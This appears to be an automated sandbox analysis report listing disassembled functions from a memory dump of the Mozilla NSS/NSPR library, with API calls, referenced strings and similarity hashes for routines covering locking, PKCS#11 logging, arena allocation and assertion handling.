TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4D97
PR_Lock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DBA
PR_WaitCondVar.NSS3 ref: 6C5D4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4DEF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction ID: b5fcaae559bf753048d4b60958587037310b3b922127659d4ecc4e21f5f8e7a1
Opcode Fuzzy Hash: 8aaacbb53f269875e8be44293b8c15b2196d29bfa51fd197a381209bcb6ae6bb
Instruction Fuzzy Hash: 85414DB5A04715CFCB00EF7CD48855977F4BF06318B168A79D8989B710EB30E895CB9A

Function 6C678F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6790EC

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

Strings

nvl, xrefs: 6C6790A3

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nvl
API String ID: 2831689957-2622381835
Opcode ID: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction ID: d74f2e93babd35cd936143d9b71e5b7503c60e8e16c168bc921b4e38c40c5d29
Opcode Fuzzy Hash: afe78bc33f057b9082db7b430dd6efd43c97ea06c247e4ff300a89fba2d6200a
Instruction Fuzzy Hash: 2E51AB70A042158FCF10EF38C488699BBF1BF0A358F0559B9DC449B716EB35E885CBA9

Function 6C767CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C767CE0

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767D36
PR_Realloc.NSS3(?,00000080), ref: 6C767D6D
PR_GetCurrentThread.NSS3 ref: 6C767D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C767DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767DD8
malloc.MOZGLUE(00000080), ref: 6C767DF8
PR_GetCurrentThread.NSS3 ref: 6C767E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C767DF0
:%s:%d:0x%lx, xrefs: 6C767DB9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction ID: 64153eb4e07bb59d13acc5c6b0697457555c35f0535ace9c42039f709e538c9a
Opcode Fuzzy Hash: 4978e56abe8437ca07889259ed1ddbcdab4789e49a15037a7569e24729fe38cf
Instruction Fuzzy Hash: 9341D8B16002059FDB04CF2ACE8596B37A9FF80358B19496CEC198BF51D731E941CBA1

Function 6C767E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C767E46

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C767EAF
PR_ImportFile.NSS3(?), ref: 6C767ECF
PR_GetCurrentThread.NSS3 ref: 6C767ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C767F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C767F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C767F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C767E41
%d:0x%lx, xrefs: 6C767EA9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction ID: 5aed24a47e2b6f0d90098e2c41fc9ecb3ac5bd061177fdc0f13a5bc1c43393df
Opcode Fuzzy Hash: 766f7eb6e59f4c25f796785d927f12365496e99f2f1ce7739f968e7251e2f7c0
Instruction Fuzzy Hash: C6312170A041199BEB009B6ACA84AABB7BDEB46388F244575DC05A7E11F7219D09C792

Function 6C674E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C674E90
EnterCriticalSection.KERNEL32 ref: 6C674EA9
TlsGetValue.KERNEL32 ref: 6C674EC6
EnterCriticalSection.KERNEL32 ref: 6C674EDF
PL_HashTableLookup.NSS3 ref: 6C674EF8
PR_Unlock.NSS3 ref: 6C674F05
PR_Now.NSS3 ref: 6C674F13
PR_Unlock.NSS3 ref: 6C674F3A

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

bUgl, xrefs: 6C674F3F
bUgl, xrefs: 6C674E5C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUgl$bUgl
API String ID: 326028414-433878880
Opcode ID: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction ID: 43928d472bb7bf6bee02f62fa467335f81323fca9321d0c8d15164fb7999d30c
Opcode Fuzzy Hash: 8c04866d5e1a484c448429671e38cb2bba25ce4b7672756b61ca3b25611e7919
Instruction Fuzzy Hash: 64417EB4A00605DFCB00EF78C0888AABBF0FF49354B118569EC598B710EB30E855CFA5

Function 6C686C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C686C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C686CD5

Strings

hSession = 0x%x, xrefs: 6C686C7E, 6C686C8E
C_DigestInit, xrefs: 6C686C61
(CK_INVALID_HANDLE), xrefs: 6C686C9C
nvl, xrefs: 6C686CF4, 6C686D1F
pMechanism = 0x%p, xrefs: 6C686CD0

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nvl
API String ID: 1003633598-38645125
Opcode ID: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction ID: c9903db8a381657514da2625c1b9aaa53de78cc17e3ab2697a7299ea8a5a6ef6
Opcode Fuzzy Hash: 8dad9576e842aca81ca2cd24f18bfa32b0f1e9a1c020164ef6aba3e2a29f01f4
Instruction Fuzzy Hash: 3521D2706021189BDB109F559E8DF9A3BB5EB46318F084035E909ABB51DF30D908CBBE

Function 6C689DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C689DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689E33

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C689E65

Strings

flags = 0x%x, xrefs: 6C689E60
hSession = 0x%x, xrefs: 6C689E0E, 6C689E1E
(CK_INVALID_HANDLE), xrefs: 6C689E2C
C_SessionCancel, xrefs: 6C689DF1
nvl, xrefs: 6C689E7D, 6C689EA8

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nvl
API String ID: 1003633598-2976574969
Opcode ID: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction ID: 3c64787e9378289bcc1afb8ed4801818213899cfff743bb56bed3a251824f273
Opcode Fuzzy Hash: b27bd51dda6e8a0794d50718c18e7701733a80951f9541e95a9289e692512b39
Instruction Fuzzy Hash: 6521A271602208AFDB009F559E8CFAA3BB5AF4634DF044434E909ABB51DB309949C7BE

Function 6C69ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C69DE64), ref: 6C69ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ED22

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PL_FreeArenaPool.NSS3(?), ref: 6C69ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C69ED6B
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED38

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C69ED52
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C69ED83
PL_FreeArenaPool.NSS3(?), ref: 6C69ED95
PL_FinishArenaPool.NSS3(?), ref: 6C69ED9D

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

Strings

security, xrefs: 6C69ED06

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction ID: 28c81ebaddfb73fa214c35a6141f11110cd87732556d38ea3b25dff53e969e3a
Opcode Fuzzy Hash: dc1fbcce7e088bd83a4cced4aeb7cfe94cd7d5c838b1aaa0902f12ebf30a5fe1
Instruction Fuzzy Hash: 921127759412056BE6105A25AC84FBBB2B8BF4270CF050534E81572E61FB35E61C87EE

Function 6C760EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C642357), ref: 6C760EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C642357), ref: 6C760EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction ID: 067482d12ba6637cb6d14ca54963ac54f3f92eb7a25781c4b4bfb7c1c1c6bd75
Opcode Fuzzy Hash: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction Fuzzy Hash: 52F0AFB59002147BEB003BA1AC4EC9F3E2DDF82266F044034FD0956A02DA36E91496B6

Function 6C6C4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C4DCB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C6C4DE1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C6C4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C4E59

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C78300C,00000000), ref: 6C6C4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C6C4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C6C4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C521A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction ID: e0e16157fa520ecd96ba953d81e385f55c060dd23c6a341fb9fac20bfd61f9dd
Opcode Fuzzy Hash: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction Fuzzy Hash: 3DF1AE71F00209CBDB04CF54D8407AEB7B2FF89358F254129D915AB781EB75E982CB96

